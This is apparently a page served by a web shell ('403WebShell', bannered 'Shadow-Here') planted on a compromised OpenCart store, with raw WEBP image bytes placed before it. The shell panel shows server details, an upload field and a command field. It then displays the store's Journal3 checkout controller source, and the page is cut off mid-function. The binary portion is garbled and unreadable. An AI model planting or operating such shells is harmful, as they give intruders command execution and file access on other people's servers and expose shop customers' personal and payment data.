....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 107.180.102.13  /  Your IP : 216.73.216.127
Web Server : Apache
System : Linux ip-107-180-102-13.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : nobody ( 99)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/egdeals/public_html/catalog/controller/journal3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/egdeals/public_html/catalog/controller/journal3/checkout.php
<?php

use Journal3\Utils\Arr;
use Journal3\Utils\Str;

class ControllerJournal3Checkout extends \Journal3\Opencart\Controller {

	public function __construct($registry) {
		parent::__construct($registry);

		$this->load->model('account/address');
		$this->load->model('account/customer');
		$this->load->model('account/customer_group');
		$this->load->model('catalog/information');
		$this->load->model('journal3/checkout');
		$this->load->model('journal3/order');
		$this->load->model('journal3/links');
		$this->load->model('journal3/image');
		$this->load->model('journal3/newsletter');
		$this->load->model('localisation/country');
		$this->load->model('localisation/zone');
		$this->load->model('tool/upload');

		$this->load->language('extension/total/coupon');
		$this->load->language('extension/total/voucher');
		$this->load->language('extension/total/reward');
		$this->load->language('checkout/cart');
		$this->load->language('checkout/checkout');

		if (isset($this->request->post['order_data'])) {
			foreach ($this->request->post['order_data'] as $key => &$value) {
				if (is_string($value)) {
					$value = trim($value);
				}
			}
		}
	}

	public function index() {
		if (!$this->customer->isLogged() && $this->config->get('config_customer_price')) {
			$this->response->redirect($this->model_journal3_links->url('account/login', '', true));
			exit;
		}

		if (!$this->journal3->isAdmin() && ((Arr::get($this->request->get, 'route') === 'journal3/checkout') || (Arr::get($this->request->get, '_route_') === 'journal3/checkout'))) {
			$this->response->redirect($this->model_journal3_links->url('checkout/checkout', '', true));
		}

		if (!$this->checkCart()) {
			$this->response->redirect($this->model_journal3_links->url('checkout/cart', '', true));
		}

		$this->document->setTitle($this->journal3->settings->get('checkoutTitle'));

		$data['heading_title'] = $this->journal3->settings->get('checkoutTitle');

		$this->journal3->settings->set('performanceHTMLMinify', false);
		$this->journal3->settings->set('performanceCSSMinify', false);
		$this->journal3->settings->set('performanceCSSInline', false);
		$this->journal3->settings->set('performanceJSMinify', false);
		$this->journal3->settings->set('performanceJSDefer', false);

		if ($this->journal3->isDev()) {
			$this->journal3->document->addScript('catalog/view/theme/journal3/lib/vue/vue.js', 'footer');
		} else {
			$this->journal3->document->addScript('catalog/view/theme/journal3/lib/vue/vue.min.js', 'footer');
		}

		$this->journal3->document->addScript('catalog/view/theme/journal3/lib/he/he.js', 'footer');
		$this->journal3->document->addScript('catalog/view/theme/journal3/js/checkout.js', 'footer');

		if (isset($this->session->data['error'])) {
			$data['error_warning'] = $this->session->data['error'];
			unset($this->session->data['error']);
		} else {
			$data['error_warning'] = '';
		}

		// breadcrumbs
		$data['breadcrumbs'] = array();

		$data['breadcrumbs'][] = array(
			'text' => $this->language->get('text_home'),
			'href' => $this->model_journal3_links->url('common/home'),
		);

		$data['breadcrumbs'][] = array(
			'text' => $this->language->get('text_cart'),
			'href' => $this->model_journal3_links->url('checkout/cart'),
		);

		$data['breadcrumbs'][] = array(
			'text' => $this->language->get('heading_title'),
			'href' => $this->model_journal3_links->url('checkout/checkout', '', true),
		);

		// checkout data
		$data['checkout_data'] = $this->getCheckoutData($this->model_journal3_checkout->init());

		// hide payment details for iframe payments
		$payments = Arr::get($data['checkout_data'], 'quickCheckoutPaymentsPopup', array());

		if (is_array($payments) && count($payments)) {
			foreach ($payments as $payment) {
				$this->journal3->document->addCss('.quick-checkout-wrapper .payment-' . $payment . ' { display: none; }');
			}
		}

		// custom fields sort order
		$css = array();

		$custom_fields = $this->db->query("SELECT * FROM `" . DB_PREFIX . "custom_field`")->rows;

		foreach ($custom_fields as $custom_field) {
			$order = (int)$custom_field['sort_order'];

			if ($order) {
				if ($custom_field['location'] === 'account') {
					$css[] = '#account-custom-field' . $custom_field['custom_field_id'] . ' { order: ' . $order . ' }';
				}

				if ($custom_field['location'] === 'address') {
					$css[] = '#shipping-custom-field' . $custom_field['custom_field_id'] . ' { order: ' . $order . ' }';
					$css[] = '#payment-custom-field' . $custom_field['custom_field_id'] . ' { order: ' . $order . ' }';
				}
			}
		}

		if ($css) {
			$this->journal3->document->addCss(implode(PHP_EOL, $css));
		}

		$data['login_block'] = $this->renderView('journal3/checkout/login', array(
			'entry_email'    => htmlspecialchars($this->language->get('entry_email')),
			'entry_password' => $this->language->get('entry_password'),
			'forgotten'      => $this->model_journal3_links->url('account/forgotten', '', true),
			'text_forgotten' => $this->language->get('text_forgotten'),
			'text_loading'   => $this->language->get('text_loading'),
			'button_login'   => $this->language->get('button_login'),
		));

		$data['register_block'] = $this->renderView('journal3/checkout/register', array(
			'customer_groups'      => $this->getCustomerGroups(),
			'entry_customer_group' => $this->language->get('entry_customer_group'),
			'entry_firstname'      => $this->language->get('entry_firstname'),
			'entry_lastname'       => $this->language->get('entry_lastname'),
			'entry_email'          => htmlspecialchars($this->language->get('entry_email')),
			'entry_telephone'      => $this->language->get('entry_telephone'),
			'entry_fax'            => $this->language->get('entry_fax'),
			'text_select'          => $this->language->get('text_select'),
			'entry_password'       => $this->language->get('entry_password'),
			'entry_confirm'        => $this->language->get('entry_confirm'),
			'button_upload'        => $this->language->get('button_upload'),
		));

		$data['payment_address_block'] = $this->renderView('journal3/checkout/address', array(
			'type'                  => 'payment',
			'entry_shipping'        => $this->language->get('entry_shipping'),
			'entry_firstname'       => $this->language->get('entry_firstname'),
			'entry_lastname'        => $this->language->get('entry_lastname'),
			'entry_company'         => $this->language->get('entry_company'),
			'entry_address_1'       => $this->language->get('entry_address_1'),
			'entry_address_2'       => $this->language->get('entry_address_2'),
			'entry_city'            => $this->language->get('entry_city'),
			'entry_postcode'        => $this->language->get('entry_postcode'),
			'entry_country'         => $this->language->get('entry_country'),
			'entry_zone'            => $this->language->get('entry_zone'),
			'text_address_existing' => $this->language->get('text_address_existing'),
			'text_address_new'      => $this->language->get('text_address_new'),
			'text_select'           => $this->language->get('text_select'),
			'text_none'             => $this->language->get('text_none'),
			'button_upload'         => $this->language->get('button_upload'),
		));

		$data['shipping_address_block'] = $this->renderView('journal3/checkout/address', array(
			'type'                  => 'shipping',
			'entry_shipping'        => $this->language->get('entry_shipping'),
			'entry_firstname'       => $this->language->get('entry_firstname'),
			'entry_lastname'        => $this->language->get('entry_lastname'),
			'entry_company'         => $this->language->get('entry_company'),
			'entry_address_1'       => $this->language->get('entry_address_1'),
			'entry_address_2'       => $this->language->get('entry_address_2'),
			'entry_city'            => $this->language->get('entry_city'),
			'entry_postcode'        => $this->language->get('entry_postcode'),
			'entry_country'         => $this->language->get('entry_country'),
			'entry_zone'            => $this->language->get('entry_zone'),
			'text_address_existing' => $this->language->get('text_address_existing'),
			'text_address_new'      => $this->language->get('text_address_new'),
			'text_select'           => $this->language->get('text_select'),
			'text_none'             => $this->language->get('text_none'),
			'button_upload'         => $this->language->get('button_upload'),
		));

		$data['shipping_method_block'] = $this->renderView('journal3/checkout/shipping_method', array(
			'error_warning' => sprintf($this->language->get('error_no_shipping'), $this->url->link('information/contact')),
		));

		$data['payment_method_block'] = $this->renderView('journal3/checkout/payment_method', array(
			'error_warning' => sprintf($this->language->get('error_no_payment'), $this->url->link('information/contact')),
		));

		$data['coupon_voucher_reward_block'] = $this->renderView('journal3/checkout/coupon_voucher_reward', array(
			'text_loading'   => $this->language->get('text_loading'),
			'entry_coupon'   => $this->language->get('entry_coupon'),
			'button_coupon'  => $this->language->get('button_coupon'),
			'entry_voucher'  => $this->language->get('entry_voucher'),
			'button_voucher' => $this->language->get('button_voucher'),
			'entry_reward'   => sprintf($this->language->get('entry_reward'), $data['checkout_data']['order_data']['points']),
			'button_reward'  => $this->language->get('button_reward'),
			'button_submit'  => $this->language->get('button_submit'),
		));

		$data['cart_block'] = $this->renderView('journal3/checkout/cart', array(
			'column_image'        => $this->language->get('column_image'),
			'column_name'         => $this->language->get('column_name'),
			'column_model'        => $this->language->get('column_model'),
			'column_quantity'     => $this->language->get('column_quantity'),
			'column_price'        => $this->language->get('column_price'),
			'column_total'        => $this->language->get('column_total'),
			'text_recurring_item' => $this->language->get('text_recurring_item'),
			'button_update'       => $this->language->get('button_update'),
			'button_remove'       => $this->language->get('button_remove'),
			'error_warning'       => $this->language->get('error_stock'),
		));

		// Captcha
		if (!$this->customer->isLogged() && $this->config->get('captcha_' . $this->config->get('config_captcha') . '_status') && in_array('guest', (array)$this->config->get('config_captcha_page'))) {
			$captcha = $this->load->controller('extension/captcha/' . $this->config->get('config_captcha'));
			if ($this->config->get('config_captcha') === 'google') {
				$captcha = str_replace('<script src="//www.google.com/recaptcha/api.js" type="text/javascript"></script>', '', $captcha);
				$this->document->addScript('//www.google.com/recaptcha/api.js');
			}
		} else {
			$captcha = '';
		}

		$newsletter = $this->journal3->settings->get('quickCheckoutConfirmNewsletter') ? sprintf($this->language->get('entry_newsletter'), $this->config->get('config_name')) : false;

		if ($this->customer->isLogged() && ($this->model_journal3_newsletter->isSubscribed($this->customer->getEmail()) || $this->customer->getNewsletter())) {
			$newsletter = false;
		}

		$data['confirm_block'] = $this->renderView('journal3/checkout/confirm', array(
			'captcha'         => $captcha,
			'text_loading'    => $this->language->get('text_loading'),
			'button_continue' => $this->language->get('button_continue'),
			'text_comments'   => $this->language->get('text_comments'),
			'newsletter'      => $newsletter,
			'agree'           => Arr::get($this->model_journal3_links->getInformation($this->config->get('config_checkout_id')), 'text'),
			'privacy'         => $this->customer->isLogged() || ($this->config->get('config_checkout_id') == $this->config->get('config_account_id')) ? null : Arr::get($this->model_journal3_links->getInformation($this->config->get('config_account_id')), 'text'),
			'comment'         => Arr::get($data, 'checkout_data.order_data.comment'),
		));

		$data['checkout_data']['checkout_id'] = $this->model_journal3_checkout->setCheckoutId();

		$data['column_left'] = $this->load->controller('common/column_left');
		$data['column_right'] = $this->load->controller('common/column_right');
		$data['content_top'] = $this->load->controller('common/content_top');
		$data['content_bottom'] = $this->load->controller('common/content_bottom');
		$data['footer'] = $this->load->controller('common/footer');
		$data['header'] = $this->load->controller('common/header');

		$this->renderOutput('journal3/checkout/checkout', $data);
	}

	public function save() {
		$json = array();
		$error = array();

		if (!$this->model_journal3_checkout->checkCheckoutId(Arr::get($this->request->post, 'checkout_id'))) {
			$json['redirect'] = $this->url->link('checkout/checkout', '', true);
			$this->renderJson('success', $json);

			return;
		}

		if ($this->config->get($this->journal3->isOC2() ? 'coupon_status' : 'total_coupon_status') && $this->request->post['coupon']) {
			$this->load->language('extension/total/coupon');
			$this->load->model('extension/total/coupon');
			$coupon_info = $this->model_extension_total_coupon->getCoupon($this->request->post['coupon']);

			if ($coupon_info) {
				$this->session->data['coupon'] = $this->request->post['coupon'];
				$json['coupon_message'] = $this->language->get('text_success');
			} else {
				$error['coupon'] = $this->language->get('error_coupon');
				unset($this->session->data['coupon']);
			}
		} else {
			unset($this->session->data['coupon']);
		}

		if ($this->config->get($this->journal3->isOC2() ? 'voucher_status' : 'total_voucher_status') && $this->request->post['voucher']) {
			$this->load->language('extension/total/voucher');
			$this->load->model('extension/total/voucher');
			$voucher_info = $this->model_extension_total_voucher->getVoucher($this->request->post['voucher']);

			if ($voucher_info) {
				$this->session->data['voucher'] = $this->request->post['voucher'];
				$json['voucher_message'] = $this->language->get('text_success');
			} else {
				$error['voucher'] = $this->language->get('error_voucher');
				unset($this->session->data['voucher']);
			}
		} else {
			unset($this->session->data['voucher']);
		}

		if ($this->config->get($this->journal3->isOC2() ? 'reward_status' : 'total_reward_status') && $this->request->post['reward']) {
			$this->load->language('extension/total/reward');

			$points = $this->customer->getRewardPoints();

			$points_total = 0;

			foreach ($this->cart->getProducts() as $product) {
				if ($product['points']) {
					$points_total += $product['points'];
				}
			}

			if (empty($this->request->post['reward'])) {
				$error['reward'] = $this->language->get('error_reward');
				unset($this->session->data['reward']);
			} else if ($this->request->post['reward'] > $points) {
				$error['reward'] = sprintf($this->language->get('error_points'), $this->request->post['reward']);
				unset($this->session->data['reward']);
			} else if ($this->request->post['reward'] > $points_total) {
				$error['reward'] = sprintf($this->language->get('error_maximum'), $points_total);
				unset($this->session->data['reward']);
			} else {
				$this->session->data['reward'] = abs($this->request->post['reward']);
			}
		} else {
			unset($this->session->data['reward']);
		}

		$data = $this->model_journal3_checkout->update();

		if ($this->checkCart()) {
			$json = array_replace($this->getCheckoutData($data), $json);

			if (Arr::get($this->request->get, 'confirm') === 'true') {
				if (!$this->customer->isLogged() && $this->config->get('captcha_' . $this->config->get('config_captcha') . '_status') && in_array('guest', (array)$this->config->get('config_captcha_page'))) {
					$captcha = $this->load->controller('extension/captcha/' . $this->config->get('config_captcha') . '/validate');

					if ($captcha) {
						$error['captcha'] = $captcha;
					}
				}

				if (!Arr::get($data, 'payment_code')) {
					$error['payment_code'] = $this->language->get('error_payment');
				}

				if (!Arr::get($data, 'shipping_code') && $this->cart->hasShipping()) {
					$error['shipping_code'] = $this->language->get('error_shipping');
				}

				$agree = $this->model_journal3_links->getInformation($this->config->get('config_checkout_id'));

				if ($agree && !$this->validateInformation('agree')) {
					$error['agree'] = $agree['error'];
				}

				if ($this->journal3->settings->get('quickCheckoutComments') === 'required' && !Arr::get($this->request->post, 'order_data.comment')) {
					$error['comments'] = true;
				}

				if (!$this->customer->isLogged()) {
					$error = array_replace($error, $this->validateAccount($json['custom_fields']));

					if ($this->config->get('config_checkout_id') != $this->config->get('config_account_id')) {
						$privacy = $this->model_journal3_links->getInformation($this->config->get('config_account_id'));

						if ($privacy && !$this->validateInformation('privacy')) {
							$error['privacy'] = $privacy['error'];
						}
					}
				}

				if ($err = $this->validateAddress('payment', $json['custom_fields'])) {
					$error = array_replace($error, $err);
					$error['payment_address_error'] = $this->journal3->settings->get('confirmOrderAddressErrorText');
				}

				if (!$this->session->data['same_address'] && $this->cart->hasShipping()) {
					if ($err = $this->validateAddress('shipping', $json['custom_fields'])) {
						$error = array_replace($error, $err);
						$error['shipping_address_error'] = $this->journal3->settings->get('confirmOrderAddressErrorText');
					}
				}

				if (!$error) {
					if ($this->customer->isLogged()) {
						if ($this->session->data['payment_address_type'] === 'new') {
							$this->addAccountAddress('payment');
						}

						if (!$this->session->data['same_address'] && $this->session->data['shipping_address_type'] === 'new') {
							$this->addAccountAddress('shipping');
						}

						if (Arr::get($this->request->post, 'newsletter') === 'true') {
							$this->model_account_customer->editNewsletter(1);
						}
					} else if ($this->session->data['account'] === 'register') {
						$this->registerAccount($json['order_data']);
					} else {
						$this->registerGuest($json['order_data']);
					}
				}
			}
		} else {
			$json['redirect'] = $this->model_journal3_links->url('checkout/cart', '', true);
		}

		$json['error'] = $error ? $error : null;

		$this->renderJson('success', $json);
	}

	public function cart_update() {
		if (!$this->model_journal3_checkout->checkCheckoutId(Arr::get($this->request->post, 'checkout_id'))) {
			$json['redirect'] = $this->url->link('checkout/checkout', '', true);
			$this->renderJson('success', $json);

			return;
		}

		$key = Arr::get($this->request->post, 'key');
		$qty = Arr::get($this->request->post, 'quantity');

		$this->cart->update($key, $qty);

		$json = array();

		if ($this->checkCart()) {
			$json = $this->getCheckoutData($this->model_journal3_checkout->update());
